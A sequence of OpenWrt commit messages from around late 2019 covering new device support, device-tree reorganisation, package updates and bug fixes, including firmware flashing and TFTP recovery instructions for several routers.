[wrap commit message, remove soft_ver change for C6 v2 EU, move LED aliases
to DTS files, remove dts-v1 in DTSI, node/property reorder in DTSI]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This renames all remaining occurrences of "EEPROM" to "art" to
further harmonize the partition labelling in ath79. This will
help to reduce the amount of user-space code and might be
beneficial when code is copy/pasted in the future.
Affected are only devices from Ubiquiti, where the XM board is
already using "art" in ath79.
Acked-by: Piotr Dymacz <pepe2k@gmail.com>
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
* messages: recalculate rekey max based on a one minute flood
* allowedips: safely dereference rcu roots
* socket: remove redundant check of new4
* allowedips: avoid double lock in selftest error case
* tools: add syncconf command
Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
YunCore XD4200 ('XD4200_W6.0' marking on PCB) is Qualcomm/Atheros based
(QCA9563, QCA9886, QCA8334) dual-band, Wave-2 AC1200 ceiling AP with PoE
(802.3at) support. A782 model ('T750_V5.1' marking on PCB) is a smaller
version of the XD4200, with similar specification but lower TX power.
Specification:
- QCA9563 (775 MHz)
- 128 MB of RAM (DDR2)
- 16 MB of FLASH (SPI NOR)
- 2x 10/100/1000 Mbps Ethernet (QCA8334), with 802.3at PoE support (WAN)
- Wi-Fi 2.4 GHz:
- XD4200: 2T2R (QCA9563), with ext. PA (SKY65174-21) and LNA
- A782: 2T2R (QCA9563), with ext. FEM (SKY85329-11)
- Wi-Fi 5 GHz:
- XD4200: 2T2R (QCA9886), with ext. FEM (SKY85728-11)
- A782: 2T2R (QCA9886), with ext. FEM (SKY85735-11)
- LEDs:
- XD4200: 5x (2x driven by SOC, 1x driven by AC radio, 2x Ethernet)
- A782: 3x (1x RGB, driven by SOC and radio, 2x Ethernet)
- 1x button (reset)
- 1x UART (4-pin, 2.54 mm pitch) header on PCB
- 1x DC jack (12 V)
Flash instructions:
If your device comes with generic QSDK based firmware, you can login
over telnet (login: root, empty password, default IP: 192.168.188.253),
issue first (important!) 'fw_setenv' command and then perform regular
upgrade, using 'sysupgrade -n -F ...' (you can use 'wget' to download
image to the device, SSH server is not available):
fw_setenv bootcmd "bootm 0x9f050000 || bootm 0x9fe80000"
sysupgrade -n -F openwrt-...-yuncore_...-squashfs-sysupgrade.bin
In case your device runs firmware with YunCore custom GUI, you can use
U-Boot recovery mode:
1. Set a static IP 192.168.0.141/24 on PC and start TFTP server with
'tftp' image renamed to 'upgrade.bin'
2. Power the device with reset button pressed and release it after 5-7
seconds, recovery mode should start downloading image from server
(unfortunately, there is no visible indication that recovery got
enabled - in case of problems check TFTP server logs)
Signed-off-by: Piotr Dymacz <pepe2k@gmail.com>
YunCore QCA9k based devices released in 2019 require a custom TFTP image
for U-Boot built-in recovery mode (triggered with reset button). Image
has to be prepended with 'YUNCORE' keyword followed by U-Boot CLI
commands which will be executed later. Images without the custom header
will be ignored by U-Boot.
To be able to support both the vendor firmware (QSDK) and OpenWrt flash
layouts, used here commands change the 'bootcmd' before flashing image.
This commit adds generic helper script for YunCore devices with 16 MB of
flash and enables TFTP image generation for A770 model.
Signed-off-by: Vincent Wiemann <vincent.wiemann@ironai.com>
[pepe2k@gmail.com: commit description reworded, recipe renamed]
Signed-off-by: Piotr Dymacz <pepe2k@gmail.com>
According to the SourceForge page, the project is migrating to GitHub.
Thus, change the source of the package to GitHub.
Signed-off-by: David Bauer <mail@david-bauer.net>
This re-organizes the device-tree files for the Sercomm-manufactured
NETGEAR routers. They are now split into two different base-boards,
from which the respective model is extended.
This partially reverts commit c7842ceaaa ("ramips: reorganize DTSI
files for Netgear R devices"), which introduced inheritance between two
completely unrelated base-boards.
Signed-off-by: David Bauer <mail@david-bauer.net>
07413cce72e1 tests: jshn: add more test cases
26586dae43a8 jshn: fix missing usage for -p and -o arguments
8e832a771d3a jshn: fix off by one in jshn_parse_file
cb698e35409b jshn: jshn_parse: fix leaks of memory pointed to by 'obj'
c42f11cc7c0f jshn: main: fix leak of memory pointed to by 'vars'
93848ec96dc5 jshn: refactor main into smaller pieces
9b6ede0e5312 avl: guard against theoretical null pointer dereference
c008294a8323 blobmsg_json: fix possible uninitialized struct member
0003ea9c45cc base64: fix possible null pointer dereference
8baeeea1f52d add assert.h component
b0a5cd8a28bf add cram based unit tests
1fefb7c4d7f9 add initial GitLab CI support
c955464d7a9b enable extra compiler checks
6228df9de91d iron out all extra compiler warnings
Signed-off-by: Petr Štetiar <ynezz@true.cz>
Ath10k packages were removed from ar71xx in master in commit
34113999ef ("ar71xx: Remove ath10k packages from archer-c7-v1 (fixes
FS#1743)") but ath79 in master and the 19.07 branch still suffer from
the issue.
Signed-off-by: Stijn Segers <foss@volatilesystems.org>
[commit description facelift]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
Remove CC_HAS_ASM_GOTO, CC_IS_GCC and GCC_VERSION kernel config options
which are set at runtime and which should be ignored now.
Signed-off-by: Petr Štetiar <ynezz@true.cz>
Don't put CC_HAS_ASM_GOTO, IS_GCC, IS_CLANG and GCC_VERSION runtime
config options into the kernel configs during reconfiguration as it
makes no sense, since these options should be set at runtime.
Fixes: FS#2588
Signed-off-by: Petr Štetiar <ynezz@true.cz>
41060943 Bump up version number to 1.40.0, LT revision to 33:0:19
5ae9bb89 Fail fast if huffman decoding context is in failure state
bb519154 Merge pull request #1413 from nghttp2/check-authority
77f5487a Add nghttp2_check_authority as public API
db9a8f6e Merge pull request #1409 from nghttp2/fix-wrong-stream-close-error-code
6f28a69b Merge pull request #1411 from richard78917/fix_warning
6ce4835e Fix the bug that stream is closed with wrong error code
29042f1c priority_spec::valid(): remove const qualifier from return value
d08c4395 Merge pull request #1405 from nghttp2/huffman
5d6964cf Faster huffman decoding
0d855bfc Faster huffman encoding
6f967c6e Fix errors reported by coverity scan
b8a43db8 Merge pull request #1394 from wrowe/fix-static-libname
70b62c1a Merge pull request #1393 from wrowe/fix-static-msvcrt
28b1f0b9 Avoid filename collision of static and dynamic lib
1dd966f1 Merge branch 'fix-nghttpx-mruby'
fe8946dd nghttpx: Fix bug that mruby is incorrectly shared between backends
72b71a6b Add new flag ENABLE_STATIC_CRT for Windows
f8933fe5 nghttpx: Reconnect h1 backend if it lost connection before sending headers
89c33d69 Update neverbleed
7079dc5e Update neverbleed to fix memory leak
5080db84 Revert "nghttpx: Reconnect h1 backend if it lost connection before sending headers"
053c7ac5 nghttpx: Returns 408 if backend timed out before sending headers
8a59ce6d nghttpx: Reconnect h1 backend if it lost connection before sending headers
f2fde180 Remove redundant null check before delete
95efb3e1 Don't read too greedily
0a6ce87c Add nghttp2_option_set_max_outbound_ack
2aa79fa9 Bump up LT revision to 32:0:18
3980678d Merge branch 'nghttpx-fix-request-stall'
319d5ab1 nghttpx: Fix request stall
448bbbc3 integration-tests: gofmt
e575a2aa Merge pull request #1377 from Aldrog/cmake_systemd
4f7aedc9 cmake: Support building nghttpx with systemd
7a590893 Fix clang-8 warning
ee443134 Fix FPE with default backend
abef9b90 Fix log-level is not set with cmd-line or configuration file
12a999f0 Bump up version number to 1.40.0-DEV
acfb3607 Update manual pages
Signed-off-by: Hans Dedecker <dedeckeh@gmail.com>
It seems that there is a missing PKG_SOURCE_URL_FILE support.
This little fix adds the support for packages to change the name of the
downloaded file.
Sometimes it is desirable to change the downloaded archive file name, like
for mitigating name conflicts for different packages (some files on the server
could be named like, e.g. 2018-01-01.tar.gz) or for the cases that there is
no name for the file in the URL (e.g. http://someserver.com/download).
Signed-off-by: Kamil Wcislo <kamil.wcislo@lpnplant.io>
Signed-off-by: Matthias Schiffer <mschiffer@universe-factory.net>
The initial DTSI names for the TP-Link CPE devices have become
quite confusing, as several non-V1 devices now use the *-v1.dtsi,
the *cpe510-v1.dts does not use the cpe510.dtsi, etc.
This introduces a new naming scheme based on whether devices have
one or two ports, which should be easier to grasp.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
"2.0" instead of "2.00" is sufficient and more in line with the
other definitions.
Signed-off-by: Bernhard Geier <freifunk@geierb.de>
[commit message/title adjustments]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
netifd does not handle network.@device[x].name properly if it
contains multiple ifaces separated by spaces. Due to this, board.d
lan_mac setup does not work if multiple ifaces are set to LAN by
ucidef_set_interface_lan.
To fix this, create a device node for each member iface when
running config_generate instead. Those are named based on the
member ifname:
ucidef_set_interface_lan "eth0 eth1.1"
ucidef_set_interface_macaddr "lan" "yy:yy:yy:yy:yy:01"
will return
config device 'lan_eth0_dev'
option name 'eth0'
option macaddr 'yy:yy:yy:yy:yy:01'
config device 'lan_eth1_1_dev'
option name 'eth1.1'
option macaddr 'yy:yy:yy:yy:yy:01'
ref: https://github.com/openwrt/openwrt/pull/2542
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
[always use new scheme, extend description, change commit title]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This applies minor style improvements and removes commented pll
clock adjustments from ubnt_xm DTSI. The latter were introduced
(already commented out) when adding ath79 target and have never
been touched since then. For Unifi (BZ board), similar clock
adjustments are employed and used.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Commit b3d8b3a introduced a new test:
[ -n "$noscan" -a "$noscan" -gt 0 ] && hostapd_noscan=1
But if length of "$noscan" is zero (noscan is not set) this doesn't stop
the shell to evaluate the rest of the test.
root@hank2:~# [ -n "$noscan" -a "$noscan" -gt 0 ]
ash: out of range
root@hank2:~#
So when radios are brought up this shows in the log:
Sat Nov 23 10:51:38 2019 daemon.info procd: - init complete -
Sat Nov 23 10:52:24 2019 daemon.notice netifd: radio1 (1243): sh: out of range
Sat Nov 23 10:52:25 2019 user.notice firewall: Reloading firewall due to ifup of wan (eth0.2)
Sat Nov 23 10:52:25 2019 daemon.notice netifd: radio0 (1242): sh: out of range
Sat Nov 23 10:52:26 2019 authpriv.info dropbear[1536]: Not backgrounding
This commit sets noscan to 0 if unset and removes the gratuitous length
check, preventing the warning.
Signed-off-by: Sebastian Kemper <sebastian_ml@gmx.net>
dnsmasq v2.80 made 'dnssec-check-unsigned' the default, thus the uci
option was rendered ineffectual: we checked unsigned zones no matter the
setting.
Disabling the checking of unsigned zones is now achieve with the
"--dnssec-check-unsigned=no" dnsmasq option.
Update init script to pass required option in the disabled case.
Signed-off-by: Kevin Darbyshire-Bryant <ldir@darbyshire-bryant.me.uk>
This updates mac80211 to backports based on kernel 5.4-rc8.
The deleted patches were applied upstream.
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
This was found by the build bot.
Fixes: e29500eb84 ("kernel: bump 4.19 to 4.19.85")
Fixes: db9e9e8382 ("kernel: bump 4.14 to 4.14.155")
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
8174814 utils: persist effective extra_src and extra_dest options in state file
72a486f zones: fix emitting match rules for zones with only "extra" options
Signed-off-by: Jo-Philipp Wich <jo@mein.io>
This adds support for a popular low-cost 5GHz N based AP
Specifications:
- SoC: Atheros AR9344
- RAM: 64MB
- Storage: 8 MB SPI NOR
- Wireless: 5GHz 300 Mbps, 2x RP-SMA connector, 27 dBm TX power
- Ethernet: 1x 10/100 Mbps with 24V POE IN, 1x 10/100 Mbps
Installation:
Flash factory image through stock firmware WEB UI
or through TFTP
To get to TFTP recovery just hold reset button while powering on for
around 4-5 seconds and release.
Rename factory image to recovery.bin
Stock TFTP server IP:192.168.0.100
Stock device TFTP adress:192.168.0.254
Signed-off-by: Andrew Cameron <apcameron@softhome.net>
This adds support for a popular low-cost 5GHz N based AP
Specifications:
- SoC: Atheros AR9344
- RAM: 64MB
- Storage: 8 MB SPI NOR
- Wireless: 5GHz 300 Mbps, 2x RP-SMA connector, 27 dBm TX power
- Ethernet: 1x 10/100 Mbps with 24V POE IN, 1x 10/100 Mbps
Installation:
Flash factory image through stock firmware WEB UI
or through TFTP
To get to TFTP recovery just hold reset button while powering on for
around 4-5 seconds and release.
Rename factory image to recovery.bin
Stock TFTP server IP:192.168.0.100
Stock device TFTP adress:192.168.0.254
Signed-off-by: Andrew Cameron <apcameron@softhome.net>
This backports a patch to build it work with python2 in addition to
python3.
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
Acked-by: Petr Štetiar <ynezz@true.cz>
In order to make RSSI indicator on the device work out of box,
include "rssileds" package in per-device rootfs image by default
for Ubiquiti XM and XW devices, namely:
- Bullet M (XM/XW)
- Rocket M (XM/XW)
- Nanostation M (XM/XW)
- Nanostation Loco-M (XW)
This moves the package addition to the individual devices in order
to prevent accidental inclusions of the package when not looking
at the parent node carefully enough.
Signed-off-by: Lech Perczak <lech.perczak@gmail.com>
[add bullet-m-xw, remove rocket-m-ti, extend commit message]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This adds the gpio switch to enable PoE passthrough on Ubiquiti
Nanostation (XM/XW).
Values are copied from the implementation in ar71xx.
GPIO values checked on:
- NanoStation M5 XW
- NanoStation M2 XM
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
* add u-boot support for uDPU
* add line to copy u-boot binary to STAGING_DIR_IMAGE, this can later be used
as BL33 variable required for ATF build
* add patch to increase max gunzip size in mvebu_armada-37xx.h which is
required for booting the itb recovery images
Signed-off-by: Vladimir Vid <vladimir.vid@sartura.hr>
ATF mvebu is required for building a functional bootloader for A7K/A8K and
A37xx platforms. uDPU device is added as the first target.
A3700 platform has a wide range of settings which can be used per device, so
options are defined under the Device sections.
Platform also required WTP (recovery) tools and mv-ddr package for the DDR
topology configuration. 32-bit cross compiler is used for building the WTMI
image.
After the build, flash-image.bin can be used with the bubt command from the
u-boot shell to flash the new version of u-boot.
Signed-off-by: Vladimir Vid <vladimir.vid@sartura.hr>
Change dhcp no/release on shutdown to 'norelease' uci option to match
existing proto dhcpv6 usage.
Signed-off-by: Kevin Darbyshire-Bryant <ldir@darbyshire-bryant.me.uk>
Acked-by: Hans Dedecker <dedeckeh@gmail.com>
All patches have been dropped, they're either redundant (e.g. due to the
new and unset CONFIG_SPL_FAT_WRITE), break compilation (thumb hacks) or
have been applied upstream.
The defconfig for am335x_boneblack has been removed upstream [0], so use
am335x_evm for boneblack too.
Size changes (before, after, file):
ti_am335x-evm and ti_am335x-bone-black:
79804 110832 MLO
623836 756148 u-boot.img
ti_omap3-beagle:
54148 57708 MLO
496272 665728 u-boot.img
ti_omap4-panda:
39356 40204 MLO
284648 366672 u-boot.img
Tested on boneblack, which has the biggest spl size increase. The beagle and
panda spl sizes seem reasonable to not break booting.
[0] 8fa7f65dd0
Signed-off-by: Andre Heider <a.heider@gmail.com>
This gets rid of a boot time warning about the missing edma module.
Enable SND_OMAP_SOC_HDMI_AUDIO while here.
All enabled options default to y.
Signed-off-by: Andre Heider <a.heider@gmail.com>
The first adds some stuff while the second one
just reverts it.
Remove both patches.
This is done is a separate commit on purpose to make it clear.
Signed-off-by: Koen Vandeputte <koen.vandeputte@ncentric.com>
This potentially fixes some issues seen on IBSS
when interfaces go out of range and then re-appear.
Signed-off-by: Koen Vandeputte <koen.vandeputte@ncentric.com>
This updates the GCC to the next minor release which fixes +213 bugs.
Tested on ARMv6, ARMv7, MIPS R2, x86
Signed-off-by: Koen Vandeputte <koen.vandeputte@ncentric.com>
TP-Link TL-WDR4900 v2 only has one combined WPS/Reset button, so
don't set up an RFKILL for this device.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
In ar71xx there is only one combined mach file for Archer C5/C7 and
TL-WDR4900 v2. This one uses the same LED struct for all devices,
defining "green" LEDs for them. However, WDR4900 uses blue front
LEDs, while only C5/C7 uses green ones. Despite, in base-files
WDR4900 is actually set up with "blue" for the mentioned LEDs.
Thus, this patch creates a separate LED struct for WDR4900, so the
LEDs can be set up correctly. Despite, the wlan5g LED is removed as
it is controlled by ath9k chip for WDR4900 (in contrast to C5/C7).
Note: While front LEDs are blue, USB LEDs (on the back) are green,
so colors are mixed intentionally for the WDR4900 v2.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The skb_get_hash_perturb() function now takes a siphash_key_t instead of
an u32. This was changed in commit 55667441c84f ("net/flow_dissector:
switch to siphash"). Use the correct type in the fq header file
depending on the kernel version.
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
Signed-off-by: Stefan Lippers-Hollmann <s.l-h@gmx.de>
The stock firmware and bootloader only accept uImage with names that
match certain patterns. This patch enables OpenWrt installation from
stock firmware without having to reflash the bootloader or access the
UART console.
Installation via web interface:
1. Flash **initramfs** image through the stock web interface.
2. Boot into OpenWrt and perform sysupgrade with sysupgrade image.
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
The MAC address setup of the TL-WDR4900 v2 is different from the
C5/C7. This aligns ar71xx with the setup in ath79:
wlan0 (5GHz) : -2
wlan1 (2.4GHz) : -1
eth1 (LAN) : 0
eth0 (WAN) : 1
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The WPS button was mapped to the restart/reset. This patch
changes it to emit the KEY_WPS_BUTTON keycode so pressing
the WPS button does initiate WPS.
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
The ASUS WL-330N(3G) and the Edimax RG21S had the
reset keycode assigned to the WPS button. This patch
changes all three devices to use KEY_WPS_BUTTON in
the hopes that this fixes unwanted restarts/
unexpected behavior from the users point of view.
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
Keep existing wdev when creating new nl80211 interfaces if phy and
type match, delete it otherwise.
To make this work, also remove left-over debugging function which
prevented the return-value of the 'iw' command to be taken into
account in mac80211_iw_interface_add().
As 4addr-mode (WDS) was setup during interface creation for station
interfaces, also set it after interface creation to make sure an
existing sta interface ends up with the right mode.
Fixes: a5bc9787d4 ("mac80211: add support for dynamically
reconfiguring wifi")
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
During the introduction of the ath79/nand images for the GL-AR300M
series the firmware partition label and compatible were altered,
but the necessary adjustments have not been made for the
GL-AR300M16 and the GL-AR300M-Lite. This will result in a
non-bootable partition setup for these devices.
This patch adds the necessary definitions to those two devices.
Fixes: 55e6c903ae ("ath79: GL-AR300M: provide NAND support;
increase to 4 MB kernel")
Fixes: b591cabd39 ("ath79: add GL.iNet GL-AR300M16 as NOR-only
board")
Signed-off-by: Jeff Kletsky <git-commits@allycomm.com>
[extend commit message, alter commit title]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
ar71xx has just one board name "wndr3700" for WNDR3700 V1/V2,
WNDR3800 and WNDR3800CH, whereas ath79 provides separate images for
the boards. So, update SUPPORTED_DEVICES to store the correct
ar71xx board names.
Fixes: FS#2510
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
As the former qca9558_tplink_archer-c7.dtsi is also used for
Archer C5 v1 this patch removes the number from the DTSI name
to indicate that.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
8dd50da20de0 lua: fix error handling
a2cab3b088a2 ucimap: fix possible use of memory after it is freed
9cf978bc7964 delta: prevent possible null pointer use
7736f497d2d9 cli: remove unused variable assigment
39093f3b040d lua: fix memory leak in set method
19ceff323f1e lua: fix memory leak in changes method
18049a84fe40 tests: add cram based unit tests
2b549cc050de lua: fix copy&paste in error string
f5dd5217d627 cli: fix realloc issue spotted by cppcheck
af59f86a0db9 iron out all extra compiler warnings
1637d2918692 tests: shunit2: run all tests under Valgrind by default
c1af73bfb023 cmake: enable extra compiler checks
be69504e3666 cmake: build Lua module only if enabled
38a2f12ec5ab tests: shunit2: fix issues reported by shellcheck
266fc9e94c1e add initial GitLab CI support
17d6144a49c6 tests: shunit2: make it working under CMake
a6e8bbefd860 cmake: add unit testing option and shunit2 tests
0ca93fec701a test: move shunit2 tests under standalone subdirectory
Signed-off-by: Petr Štetiar <ynezz@true.cz>
0219008cc876 remove never used err variable assignment disliked by scan-build
7ce813fcd667 silence use after the free clang analyzer warning
1f73b6a8e678 use offsetof macro to make scan-build happy
Signed-off-by: Petr Štetiar <ynezz@true.cz>
Add support for Python 3.8 which was released Oct. 14, 2019.
Signed-off-by: Thomas Weißschuh <thomas@t-8ch.de>
[added missing commit description, simplified version check]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
Commit ed5b9129d7 ("base-files: implement generic service_running")
has added EXTRA_HELP variable, thus overriding already available
EXTRA_HELP text available in other init scripts, resulting in the
missing help text from services like dropbear for example.
So fix this regression by appending EXTRA_HELP text provided by the
other init scripts into the one provided by the script itself.
Fixes: ed5b9129d7 ("base-files: implement generic service_running")
Signed-off-by: Peter Stadler <peter.stadler@student.uibk.ac.at>
[commit title/description facelift, fixes tag, fixed From:, pkg bump]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
Those symbols were removed in kernel 4.16:
commit 4670d610d59233b017a6ea1fa25bbf06dabbff42
Author: Rob Herring <robh@kernel.org>
PCI: Move OF-related PCI functions into PCI core
Fixes: FS#2588
Signed-off-by: Petr Štetiar <ynezz@true.cz>
Commit 965f341aa9 ("build: fix host menu config targets using
ncurses") has moved host's path with pkg-config (usually /usr/bin) at
the first place in PATH variable, which is now causing issues with bison
as BISON_PKGDATADIR points into STAGING_DIR_HOST, but the actual bison
used is the one under host PATH (usually /usr/bin/bison), leading to the
following strange failures:
$ make target/linux/clean kernel_menuconfig V=sc
export MAKEFLAGS= ;make -C /somewhere/linux-4.19.81 menuconfig
make -f ./scripts/Makefile.build obj=scripts/kconfig menuconfig
...
bison -oscripts/kconfig/zconf.tab.c -t -l scripts/kconfig/zconf.y
staging_dir/host/bin/m4: cannot open `staging_dir/host/share/bison/bison.m4': No such file or directory
staging_dir/host/bin/m4: cannot open `staging_dir/host/share/bison/c-skel.m4': No such file or directory
...
gcc -Wp,-MD,scripts/kconfig/.zconf.tab.o.d <...snip...> -o scripts/kconfig/zconf.tab.o scripts/kconfig/zconf.tab.c
gcc: error: scripts/kconfig/zconf.tab.c: No such file or directory
gcc: fatal error: no input files
Fix this by forcing usage of bison under STAGING_DIR_HOST/bin via YACC
make variable.
Cc: Thomas Albers <thomas.gameiro@gmail.com>
Cc: Stijn Tintel <stijn@linux-ipv6.be>
Cc: Eneas U de Queiroz <cotequeiroz@gmail.com>
Tested-by: Ivan Revyakin <LovingFox@GMail.com>
Tested-by: Thomas Albers <thomas.gameiro@googlemail.com>
Ref: https://forum.openwrt.org/t/bpi-r64-kernel-4-19-kernel-menuconfig-error
Fixes: 965f341aa9 ("build: fix host menu config targets using ncurses")
Signed-off-by: Petr Štetiar <ynezz@true.cz>
AutoLoad parameter must match the exact kernel module name. Fix it.
Fixes: 125f1ce9ad ("kernel: video: add DRM core and IMX DRM support for HDMI/LVDS")
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
Some Ubiquiti devices had the RSSI LEDs configured in 01_leds but
were missing the rssileds package, while others that don't have
RSSI LEDS had the package included.
This commit includes the rssileds package only for those devices
that need it.
Tested on a NanoStation M XW.
Signed-off-by: Roger Pueyo Centelles <roger.pueyo@guifi.net>
Changes introduced for dynamic wifi reconfiguration left behind
unmanaged interface types. Restore parts of the old function to
also clean (unencrypted, non-DFS) mesh and ad-hoc interfaces.
Fixes: a5bc9787d4 ("mac80211: add support for dynamically
reconfiguring wifi")
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
The GL.iNet GL-AR750S has been supported by the ar71xx and ath79
platforms with access to its 16 MB NOR flash, but not its 128 MB
SPI NAND flash.
This commit provides support for the NAND through the upstream
SPI-NAND framework.
At this time, the OEM U-Boot appears to only support loading the
kernel from NOR. This configuration is preserved as this time,
with the glinet,gl-ar750s-nand name reserved for a potential,
future, NAND-only boot.
The family of GL-AR750S devices on the ath79 platform now includes:
* glinet,gl-ar750m-nor-nand "nand" target
* glinet,gl-ar750m-nor "nand" target (NAND-aware)
NB: This commit increases the kernel size from 2 MB to 4 MB
"Force-less" sysupgrade is presently supported from the current
versions of following NOR-based firmwre images to the version of
glinet,gl-ar750s-nor firmware produced by this commit:
* glinet,gl-ar750s -- OpenWrt 19.07 ar71xx
* glinet,gl-ar750s -- OpenWrt 19.07 ath79
Users who have sucessfully upgraded to glinet,gl-ar750m-nor may then
flash glinet,gl-ar750m-nor-nand with sysupgrade to transtion to the
NAND-based variant.
Other upgrades to these images, including directly to the NAND-based
glinet,gl-ar750s-nor-nand firmware, can be accomplished through U-Boot.
NB: See "ath79: restrict GL-AR750S kernel build-size to 2 MB" which
enables flashing of NAND factory.img with the current GL-iNet U-Boot,
"U-Boot 1.1.4-gcf378d80-dirty (Aug 16 2018 - 07:51:15)"
The GL-AR750S OEM U-Boot allows upload and flashing of either NOR
firmware (sysupgrade.bin) or NAND firmware (factory.img) through its
HTTP-based GUI. Serial connectivity is not required.
The glinet,gl-ar750s-nor and glinet,gl-ar750s-nor-nand images
generated after this commit flash each other directly.
This commit changes the control of the USB VBUS to gpio-hog from
regulator-fixed introduced by commit 0f6b944c92. This reduces the
compressed kernel size by ~14 kB, with no apparent loss of
functionality. No other ath79-nand boards are using regulator-fixed
at this time.
Note: mtd_get_mac_binary art 0x5006 does not return the proper MAC
and the GL.iNet source indicates that only the 0x0 offset is valid
The ar71xx targets are unmodified.
Cc: Alexander Wördekemper <alexwoerde@web.de>
Signed-off-by: Jeff Kletsky <git-commits@allycomm.com>
The GL.iNet GL-AR300M series of devices includes variants without NAND
and only the 16 MB NOR flash. These include the GL-AR300M16 and the
GL-AR300M-Lite (already with its own board name).
This board-name addition provides disambiguation from the NAND-bearing
GL-AR300M devices, both for OpenWrt code and for end users.
Kernel and firmware support for NAND and UBI will add ~320 kB to the
overall firmware size at this time. This NOR-only option continues to
provide more compact firmware for both the GL-AR300M16 as well as
those who wish to use it as an alternate or primary, NOR-resident
firmware on the GL-AR300M.
The ar71xx targets are unmodified.
Installation
------------
Install through OEM U-Boot (HTTP-based) or `sysupgrade --force` when
booted from NOR and running OEM or OpenWrt, NOR-based firmware.
As one of the intentions is disambiguation from NAND-bearing units,
users who have flashed this firmware onto a device with NAND would
need to use U-Boot or `sysupgrade --force` to flash firmware that
again supports NAND.
There are no additional SUPPORTED_DEVICES as it is not possible to
determine if a device does or does not have NAND based on
either the OEM's or OpenWrt's board names prior to this patch.
Signed-off-by: Jeff Kletsky <git-commits@allycomm.com>
The GL.iNet GL-AR300M has been supported by the ar71xx and ath79
platforms with access to its 16 MB NOR flash, but not its 128 MB
SPI NAND flash.
This commit provides support for the NAND through the upstream
SPI-NAND framework. Devices with both NOR and NAND flash can support
independent firmware on each, with U-Boot able to boot from either.
The OEM U-Boot will fall back to the NOR firmware after three
"unsuccessful" boots.
The family of GL-AR300M devices on the ath79 platform now includes:
* glinet,gl-ar300m-lite "generic" target, NOR-only board
* glinet,gl-ar300m-nand "nand" target
* glinet,gl-ar300m-nor "nand" target (NAND-aware)
NB: This commit increases the kernel size from 2 MB to 4 MB
"Force-less" sysupgrade is presently supported from the current
versions of following NOR-based firmwre images to the version of
glinet,gl-ar300m-nor firmware produced by this commit:
* gl-ar300m -- OEM v3 NOR ar71xx (openwrt-ar300m16-*.bin)
* gl-ar300m -- OpenWrt 18.06 ar71xx
* gl-ar300m -- OpenWrt 19.07 ar71xx
Other upgrades to these images should be performed through U-Boot.
The GL-AR300M OEM U-Boot allows upload and flashing of either NOR
firmware (sysupgrade.bin) or NAND firmware (factory.img) through its
HTTP-based GUI. Serial connectivity is not required.
The glinet,gl-ar300m-nand and glinet,gl-ar300m-nor images generated
after this commit should safely flash each other using sysupgrade.
The boot counter is implemented by the OEM using u-boot-env. At this
time, it does not appear that the switch on the side of the unit can
be used to select NOR vs. NAND boot and the fail-over is only from
NAND to NOR. To save flash wear, it is only reset when running the
glinet,gl-ar300m-nand firmware.
NAND-specific base-files are used to remove impact on existing
generic and tiny targets.
As there is now no "generic" build appropriate for the GL-AR300M16,
(or for users of the GL-AR300M that do not need access to NAND)
it will be introduced in a subsequent commit.
Note: `mtd_get_mac_binary art 0x6` does not return the proper MAC
and the GL.iNet source indicates that only the 0x0 offset is valid
The ar71xx targets are unmodified.
Signed-off-by: Jeff Kletsky <git-commits@allycomm.com>
Linux 4.19 supplies the upstream spi-nand framework,
permitting porting and support of boards with SPI NAND.
* Adjusted nand/target.mk to provide FEATURES += squashfs nand
* Updated config-default to provide current MTD and UBI support
Defaults selected for:
CONFIG_MTD_UBI_WL_THRESHOLD=4096
CONFIG_MTD_UBI_BEB_LIMIT=20
# CONFIG_MTD_UBI_FASTMAP is not set
# CONFIG_MTD_UBI_GLUEBI is not set
The bad-block reservation limit technically should be 21 for Paragon
SPI NAND but most other devices in the class are 20 blocks per Gbit.
In Linux 5.2 this is specified on a per-chip basis through NAND_MEMORG
Contents adjusted to remove declarations provided at the target level
by commit 08a134820f (Oct 23, 2019) ath79: enable PCI for whole target
Signed-off-by: Jeff Kletsky <git-commits@allycomm.com>
Tested-by: Michal Cieslakiewicz <michal.cieslakiewicz@wp.pl>
ALFA Network Quad-E4G is a universal Wi-Fi/4G platform, which offers
three miniPCIe (PCIe, USB 2.0, SIM) and a single M.2 B-key (dual-SIM,
USB 3.0) slots, RTC and five Gigabit Ethernet ports with PoE support.
Specification:
- MT7621A (880 MHz)
- 256/512 MB of RAM (DDR3)
- 16/32+ MB of FLASH (SPI NOR)
- optional second SPI flash (8-pin WSON/SOIC)
- 1x microSD (SDXC) flash card reader
- 5x 10/100/100 Mbps Ethernet, with passive PoE support (24 V) in LAN1
- optional 802.3at/af PoE module for WAN
- 3x miniPCIe slot (with PCIe and USB 2.0 buses, micro SIM and 5 V)
- 1x M.2/NGFF B-key 3042 (USB 3.0/2.0, mini + micro SIM)
- RTC (TI BQ32002, I2C bus) with backup battery (CR2032)
- external hardware watchdog (EM Microelectronic EM6324)
- 1x USB 2.0 Type-A
